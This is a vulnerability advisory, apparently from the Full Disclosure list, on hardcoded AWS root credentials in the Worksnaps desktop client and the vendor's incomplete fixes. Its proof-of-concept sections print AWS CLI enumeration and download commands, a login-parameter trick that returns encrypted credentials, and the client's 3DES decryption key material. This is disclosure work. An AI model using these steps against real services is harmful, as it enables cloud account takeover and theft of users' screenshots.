SEC Consult Vulnerability Lab Security Advisory < 20260618-0 >
=======================================================================
title: Hardcoded Root Cloud Credentials in Application Binaries
product: Silver Leaf Technologies - Worksnaps.net Worksnaps
vulnerable version: <1.6.20260201
fixed version: 1.6.20260201
CVE number: CVE-2025-10560
impact: critical
homepage:https://www.worksnaps.net
found: 2025-05-21
by: Thorger Jansen (Office Bochum)
Daniel Hirschberger
Tobias Niemann (Office Bochum)
Marius Renner (Office Bochum)
SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Atos business
Europe | Asia
https://www.sec-consult.com
=======================================================================
Vendor description:
-------------------
"We are a small company with strong entrepreneurial spirit. We are here to
provide a different way of time tracking, specifically designed for remote
work. We believe in small teams, solid development and great design. We believe
that no business is too small to serve."
"Worksnaps is a time-tracking system which enable verification of time and
work. By using Worksnaps Client, a program running on users' desktop, the
users' work activities are sampled and sent to the server. We call them
"worksnaps".
Source:https://www.worksnaps.net/www/index.shtml
Source:https://alternativeto.net/software/worksnaps/about/
Business recommendation:
------------------------
The vendor provides a patch which should be installed immediately. The
vendor also implemented server-side fixes to remediate some identified
issues.
SEC Consult highly recommends to perform a thorough security review of the
product conducted by security professionals to identify and resolve potential
further security issues.
Vulnerability overview/description:
-----------------------------------
1) Hardcoded Cloud Credentials in Application Binaries (CVE-2025-10560)
Several application binaries contained hardcoded credentials, such as AWS access
keys and S3 bucket names, which granted access to the production environment.
Those hardcoded AWS cloud credentials in the Worksnaps client gave an
attacker complete access the Worksnaps AWS infrastructure as AWS root
account. An attacker got access to S3 buckets with sensitive data, such as
screenshots of user desktops.
Proof of concept:
-----------------
1) Hardcoded Cloud Credentials in Application Binaries (CVE-2025-10560)
After installing the application, there are various binaries in
"C:\Program Files (x86)\Worksnaps".
Several of those binaries can be analyzed by using the "ILSpy" tool and
contain valid credentials.
For example the binary procUploadDirect.net45.v2.exe contains the following
AWS Credentials:
--------------------------------------------------------------------------------
private const string DEFAULT_AWS_ACCESS_KEY = "[REDACTED]";
private const string DEFAULT_AWS_SECRET_KEY = "[REDACTED]";
private const string DEFAULT_REGION_NAME = "USEast1";
private const string BUCKET_NAME = "bbbb_hyoung";
private static string TEMP_BUCKET_NAME = "temp-prod";
private static string PERM_BUCKET_NAME_FULL = "perm-prod";
private static string PERM_BUCKET_NAME_THUMB = "perm-prod2";
private static RegionEndpoint Region = RegionEndpoint.USEast1;
--------------------------------------------------------------------------------
Using these credentials several AWS actions could be performed by an attacker.
First, the identity of the caller can be retrieved with the command
"aws sts get-caller-identity":
--------------------------------------------------------------------------------
$ aws sts get-caller-identity
{
"UserId": "227929[REDACTED]",
"Account": "227929[REDACTED]",
"Arn": "arn:aws:iam::227929[REDACTED]:root"
}
--------------------------------------------------------------------------------
This shows that the credentials in use are valid and it provides key details
about the AWS identity, including the Account ID, User ID, and ARN (Amazon
Resource Name) of the entity making the call.
Then, all S3 buckets can be listed with the command "aws s3api list-buckets":
--------------------------------------------------------------------------------
$ aws s3api list-buckets
{
"Buckets": [
{
"Name": "aws-cloudtrail-logs-[REDACTED]-ssfull",
"CreationDate": "2022-12-11T06:27:46+00:00"
},
[...]
--------------------------------------------------------------------------------
This shows that the credentials in use have sufficient permissions (typically
s3:ListAllMyBuckets) to enumerate all S3 buckets associated with the AWS
account. The output will include the names and creation dates of each bucket,
which can help identify targets of interest for further enumeration or data
access.
Also, by using the command "describe-instances" an attacker can retrieve
detailed information about all EC2 instances in the account:
--------------------------------------------------------------------------------
$ aws ec2 describe-instances
{
"Reservations": [
{
"ReservationId": "[REDACTED]",
"OwnerId": "227929[REDACTED]",
"Groups": [],
"Instances": [
{
"Architecture": "x86_64",
"BlockDeviceMappings": [
{
"DeviceName": "/dev/xvda",
"Ebs": {
"AttachTime": "2019-05-28T02:39:54+00:00",
"DeleteOnTermination": true,
"Status": "attached",
"VolumeId": "[REDACTED]61769"
}
}
],
[...]
--------------------------------------------------------------------------------
This shows that the credentials in use have the ec2:DescribeInstances permission,
allowing the enumeration of instance metadata such as instance IDs, public and
private IP addresses, and more.
Finally, by using "aws s3 cp" an attacker could attempt to copy objects from a
target S3 bucket to their local system. In this case one of the generated
screenshots is directly fetched from the S3 bucket instead of the web
interface. Note: SEC Consult only requested data from our own associated
accounts. No data of other customers was accessed.
--------------------------------------------------------------------------------
$ aws s3 cp s3://ssfull-prod/screen_754275513.jpg output.jpg
download: s3://ssfull-prod/screen_754275513.jpg to ./output.jpg
--------------------------------------------------------------------------------
This shows that the credentials in use have sufficient permissions (typically
s3:GetObject) to read and download data from the buckets. Since the buckets
potentially contain sensitive files, this can lead to significant data
exfiltration.
UCloud credentials were also discovered alongside the AWS credentials.
However, their validity has not been verified:
--------------------------------------------------------------------------------
public static string UCLOUD_PROXY_SUFFIX = ".cn-sh2.ufileos.com";
public static string UCLOUD_PUBLIC_KEY = "[REDACTED]";
public static string UCLOUD_PRIVATE_KEY = "[REDACTED]";
public static string UCLOUD_WORKCARD_BUCKET = "workcard2";
public static string UCLOUD_WORKCARD_BUCKET_FULL = "workcardssfull-dev04";
public static string UCLOUD_WORKCARD_BUCKET_SMALL =
"workcardssrepository-dev04";
--------------------------------------------------------------------------------
Update 2026-01-30
-----------------
The vendor told us on 2025-12-12 that a new version of the client is available
on the website. On 2026-01-30 we downloaded version 1.6.20251206 of the client
to re-check the vulnerability.
The originally reported hardcoded AWS cloud credentials were removed from the
binary. The original credentials had also been revoked. There still are
hardcoded credentials present in the application binaries, but they provide a
lower level of access. The following AWS credentials were extracted from
UploadTracker.exe:
--------------------------------------------------------------------------------
public const string S3_AccessKey = "AKIAYL45N6SALVDBTCUQ";
public const string S3_SecreKey = "[REDACTED]"
--------------------------------------------------------------------------------
The identity associated with the credentials can be retrieved with the command
"aws sts get-caller-identity":
--------------------------------------------------------------------------------
$ aws sts get-caller-identity
{
"UserId": "575318914176",
"Account": "575318914176",
"Arn": "arn:aws:iam::575318914176:root"
}
--------------------------------------------------------------------------------
SEC Consult did not perform a detailed assessment of the level of permissions
of these new credentials. However, at the very least, these credentials do not
provide access to the originally discovered S3 buckets with all screenshot
data.
The client application now retrieves AWS credentials for the S3 screenshot
buckets from the Worksnaps server after logging in. The following code block
shows the login request:
--------------------------------------------------------------------------------
POST /mys3/dispatcher.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Worksnaps Client (Windows)
Host:www.worksnaps.net
[...]
action=login&type=windows&username=[REDACTED]&mytime=3201&version=1.6&build=Build+1%2E6%2E20251206&token=[REDACTED]&branding=worksnaps&computername=[REDACTED]&os=W+Version+6%2E2%2E9200+&multiupload=1&use_urlencode=1&username2=[REDACTED]
--------------------------------------------------------------------------------
The server responds with the following response data. Note the bucketKey and
bucketKey2 fields, which contain encrypted AWS credentials.
--------------------------------------------------------------------------------
HTTP/1.1 200 OK
Server: Apache/2.4.62 (Unix) OpenSSL/1.1.1k
X-Powered-By: PHP/5.6.37
[...]
statuscode=1&sessionkey=[REDACTED]&userid=[REDACTED]&login=[REDACTED]&servertime=1769505670&timediff=1769502469&lb_url=&project=&use_activitytracker=0&use_uploadtracker=0&screenfilter=&appnamefilter=&cachetime=180&capturetimeout=20&directupload=1&directupload_ver=2&uploadurl=http://upload.worksnaps.com/mys3/prod_uploadworksnapscom/u_agent.php|http://apac.worksnaps.com/mys3/prod_apacworksnapscom/u_agent.php&bucketKey=[REDACTED
encrypted bucket key 1]&bucketKey2=[REDACTED encrypted bucket key
2]&bucketName0=sstemp-prod&bucketName1=ssfull-prod&bucketName2=ssrepository-prod&testmode=0&auth_method=token&debug=0&firstslotprobability=-1&httptype=std&sysmessage_title=&sysmessage_body=&sysmessage_shutdown=
--------------------------------------------------------------------------------
The encrypted bucketKey can be easily decrypted by extracting the decryption
algorithm and corresponding 3DES encryption key from the client binary
procUploadDirect.net45.v2.exe using a .NET assembly inspector such as ILSpy:
--------------------------------------------------------------------------------
private static string WORKWELL = "workwell";
private static string AMAZON = "AMAZON";
private static string SUFFIX = "@P66668888";
public static string Decrypt(string input)
{
string text = TripleDESEncryption.WORKWELL
+ TripleDESEncryption.AMAZON
+ TripleDESEncryption.SUFFIX;
string workwell = TripleDESEncryption.WORKWELL;
TripleDES tripleDES = TripleDES.Create();
tripleDES.IV = Encoding.ASCII.GetBytes(workwell);
tripleDES.Key = Encoding.ASCII.GetBytes(text);
tripleDES.Mode = CipherMode.CBC;
tripleDES.Padding = PaddingMode.Zeros;
ICryptoTransform cryptoTransform = tripleDES.CreateDecryptor();
byte[] array = TripleDESEncryption.Decoder(input);
byte[] array2 = cryptoTransform.TransformFinalBlock(array, 0, array.Length);
return Encoding.ASCII.GetString(array2);
}
--------------------------------------------------------------------------------
Decrypting the bucketKey using this algorithm once again yields AWS
credentials. The identity associated with the credentials can be retrieved with
the command "aws sts get-caller-identity":
--------------------------------------------------------------------------------
$ aws sts get-caller-identity
{
"UserId": "AIDATKENJDUESTBAMYUIN",
"Account": "227929562377",
"Arn": "arn:aws:iam::227929562377:user/worksnapss3_10"
}
--------------------------------------------------------------------------------
Once again, all accessible S3 buckets can be listed with the command
"aws s3api list-buckets":
--------------------------------------------------------------------------------
$ aws s3api list-buckets
{
"Buckets": [
[...]
{
"Name": "ssfull-prod",
"CreationDate": "2011-11-18T23:41:06+00:00",
"BucketArn": "arn:aws:s3:::ssfull-prod"
},
[...]
]
}
--------------------------------------------------------------------------------
The credentials also still allow downloading screenshots as demonstrated in the
original advisory. Note: SEC Consult only requested data from our own
associated accounts. No data of other customers was accessed.
--------------------------------------------------------------------------------
$ aws s3 cp s3://ssfull-prod/screen_754275513.jpg output.jpg
download: s3://ssfull-prod/screen_754275513.jpg to ./output.jpg
--------------------------------------------------------------------------------
In summary the removal of the hardcoded credentials did not improve the
situation, as the client now receives credentials with a similarly
high level of access during the login process instead.
Update 2026-02-21
-----------------
The vendor told us on 2026-02-05 that a new version of the client is available
on the website. On 2026-02-14 we downloaded version 1.6.20260201 of the client
to re-check the vulnerability.
The procUploadDirect.net45.v2.exe is no longer included. The binary
procUploadDirectURL.exe is now used to upload the screenshot to the S3 bucket.
The required signed AWS upload URL is fetched via the API.
It is however possible to still retrieve the encrypted S3 credentials from
the API by ommiting or setting the use_puturl parameter during the login
request to 0:
--------------------------------------------------------------------------------
POST /mys3/dispatcher.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host:www.worksnaps.net
[...]
action=login&type=windows&username=[REDACTED]&mytime=18&version=1.6&build=Build+1%2E6%2E20260201&use_puturl=0&token=[REDACTED]&branding=worksnaps&computername=[REDACTED]&os=W+Version+6%2E2%2E9200+&multiupload=1&use_urlencode=1&username2=[REDACTED]
--------------------------------------------------------------------------------
As before, the API responds with the encrypted S3 credentials:
--------------------------------------------------------------------------------
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Content-Length: 960
[...]
statuscode=1&sessionkey=[REDACTED]&userid=[REDACTED]&login=[REDACTED]&servertime=[REDACTED]&timediff=[REDACTED]&&project=&use_activitytracker=0&use_uploadtracker=0&screenfilter=&appnamefilter=&cachetime=180&capturetimeout=20&directupload=1&directupload_ver=3&uploadurl=http://upload.worksnaps.com/mys3/prod_uploadworksnapscom/u_agent.php|http://apac.worksnaps.com/mys3/prod_apacworksnapscom/u_agent.php&bucketKey=[REDACTED
bucketKey1]&bucketKey2=[REDACTED
bucketKey2]&bucketName0=sstemp-prod&bucketName1=ssfull-prod&bucketName2=ssrepository-prod&testmode=0&auth_method=token&debug=0&firstslotprobability=-1&httptype=std&sysmessage_title=&sysmessage_body=&sysmessage_shutdown=
--------------------------------------------------------------------------------
The decryption process is the same as before. After decryption the
same AWS credentials as before were obtained.
According to the vendor, they implemented further server-side mitigations
to fix this issue.
Vulnerable / tested versions:
-----------------------------
The following versions have been tested:
* Original advisory: Windows client version 1.6.20250304
* Update 2026-01-30: Windows client version 1.6.20251206
* Update 2026-02-21: Windows client version 1.6.20260201
The vendor introduced server-side fixes later on, hence the
client version 1.6.20260201 already contains the necessary patches.
Vendor contact timeline:
------------------------
2025-07-09: Initial mail to the vendor (info () worksnaps net;support () worksnaps net).
No response.
2025-08-22: Sent reminder via mail, no response.
2025-09-16: Submitted a support ticket #40137 viahttps://worksnaps.freshdesk.com/support/tickets/new
Asking for a security contact. No response.
2025-11-03: Informing vendor of our public release of the advisory on 20th November,
assigned CVE-2025-10560.
2025-11-03: Vendor apologizes to have our emails miscategorized by support staff.
We should send our advisory to a specific person.
2025-11-04: Sending security advisory. Vendor contact responds, they will do an internal
investigation regarding next steps.
2025-11-10: We receive a detailed investigation of the issue and an action plan,
we agree to extend the deadline for one month until 2025-12-20. Asking
a few architectural questions regarding the hardcoded keys.
2025-11-11: Vendor answers our questions and we follow-up regarding the removal of
the hardcoded AWS root keys.
2025-11-14: Vendor is working the issues and will provide an update.
2025-12-12: Vendor informs us that a new version of the Worksnaps client is
available on the website and asks us to re-check the
vulnerability.
2025-12-19: Vendor asks us about the approaching disclosure deadline as we were
not able to re-check the vulnerability yet.
2025-12-19: We inform the vendor that we are not able to perform the re-check
in December due to the approaching holidays. We also assure that we
will not initiate public disclosure before re-checking. We commit
to providing a response in January 2026.
2026-01-30: Sending updated security advisory to vendor. Core issue is still unfixed.
2026-02-04: Vendor has reviewed our updated advisory and are working on a solution.
Updated package is planned to be released shortly.
2026-02-05: Vendor provides an updated version, implemented pre-signed PUT URLs,
removed executables with now obsolete credentials.
2026-02-17: Vendor asks if we had time to review the patch.
2026-02-18: Informing vendor about delay of patch review due to customer projects,
also proposing recheck for next potential iterations as it is still unfixed.
Vendor asks for extension of deadline because of holidays.
2026-02-21: Sending updated security advisory to vendor. Core issue is still unfixed
due to legacy API functionality.
2026-02-23: Vendor thanks us for the update and will review the issue again.
2026-02-27: Vendor contact will be on vacation soon, asks for extension of deadline.
Setting up a call with the vendor for 4th March.
2026-03-25: Following up with vendor regarding remedation.
2026-03-30: Vendor responds with steps already taken.
2026-03-31: Giving additional time to complete remediation activities
2026-06-15: Informing vendor about upcoming release date, asking for affected/fixed
version numbers.
2026-06-16: Vendor clarifies patched version and provides further details regarding
already implemented server-side fixes. Sending advisory draft to vendor.
2026-06-18: Public release of security advisory.
Solution:
---------
The vendor provides a patched version 1.6.20260201 (or higher) which should be
installed immediately. It can be downloaded from the vendor's website:
https://www.worksnaps.net/www/download.shtml
Furthermore, server-side fixes have been implemented according to the vendor
which mitigate the identified security issues.
Workaround:
-----------
None
Advisory URL:
-------------
https://sec-consult.com/vulnerability-lab/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Atos business
Europe | Asia
About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an
Atos business. It ensures the continued knowledge gain of SEC Consult in the
field of network and application security to stay ahead of the attacker. The
SEC Consult Vulnerability Lab supports high-quality penetration testing and
the evaluation of new offensive and defensive technologies for our customers.
Hence our customers obtain the most current information about vulnerabilities
and valid recommendation about the risk profile of new technologies.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your applicationhttps://sec-consult.com/career/
Interested in improving your cyber security with the experts of SEC Consult?
Contact our local officeshttps://sec-consult.com/contact/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Mail: security-research at sec-consult dot com
Web:https://www.sec-consult.com
Blog:https://blog.sec-consult.com
X:https://x.com/sec_consult
EOF Thorger Jansen, Daniel Hirschberger, Tobias Niemann, Marius Renner / @2026
Attachment:
smime.p7s
Description: S/MIME Cryptographic Signature
_______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/